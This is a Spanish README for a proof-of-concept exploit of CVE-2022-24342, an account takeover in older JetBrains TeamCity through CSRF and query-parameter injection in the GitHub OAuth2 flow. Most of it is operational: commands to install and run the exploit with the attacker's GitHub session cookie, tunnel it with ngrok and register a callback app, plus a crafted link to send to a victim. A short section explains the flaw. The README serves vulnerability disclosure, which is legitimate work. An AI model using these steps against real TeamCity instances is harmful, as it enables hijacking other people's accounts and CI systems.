CVE-2022-24342

JetBrains TeamCity - toma de control de cuenta mediante CSRF en autenticación de GitHub (PoC)

• CVE-2022-24342
  • Requisitos
  • Uso
  • ¿Cómo funciona?
    • GitHub OAuth2: orden de procesamiento de parámetros de consulta
    • CVE-2022-24342: flujo de solicitudes HTTP

Requisitos

• JetBrains TeamCity <2021.2.1
• Autenticación de GitHub habilitada

Uso

1. Intente iniciar sesión con la cuenta de GitHub del atacante en la instancia de TeamCity objetivo para autorizar la aplicación de GitHub de TeamCity.

2. Instalar y ejecutar:

$ git clone https://github.com/yuriisanin/CVE-2022-24342
$ cd CVE-2022-24342/
$ pip3 install -r requirements.txt
$ python3 exploit.py -h

usage: exploit.py [-h] -s S [-p P]

optional arguments:
  -h, --help  show this help message and exit
  -s S        GitHub user session
  -p P        Uvicorn port

$ python3 exploit.py -s {attackers_github_session_cookie}

Si ejecuta el exploit en la máquina local, es posible que necesite usar Ngrok o alternativas.

$ ngrok http 8000

2. Crear aplicación OAuth2 de GitHub:

homepage: "http://{exploit-host}:8000"
authorization callback url: "http://{exploit-host}:8000/callback"

3. Enviar el siguiente enlace a una víctima:

http://{exploit-host}:8000/exploit?target_host=http://{target-host}&gh_client_id={github_oauth_client_id}

DEMO:

¿Cómo funciona?

TeamCity era vulnerable a la inyección de parámetros de consulta durante el flujo OAuth2, permitiendo a un atacante redirigir al usuario a una aplicación OAuth2 de GitHub arbitraria, interceptar un parámetro de estado válido y conectar una cuenta de GitHub arbitraria a la cuenta de TeamCity de la víctima.

Esto fue posible debido a los siguientes aspectos:

• Orden de procesamiento de parámetros de consulta en GitHub OAuth2
• Inyección de parámetros de consulta en TeamCity

GitHub OAuth2: orden de procesamiento de parámetros de consulta

CVE-2022-24342: flujo de solicitudes HTTP

Soporte

Puedes seguirme en Twitter, GitHub o YouTube.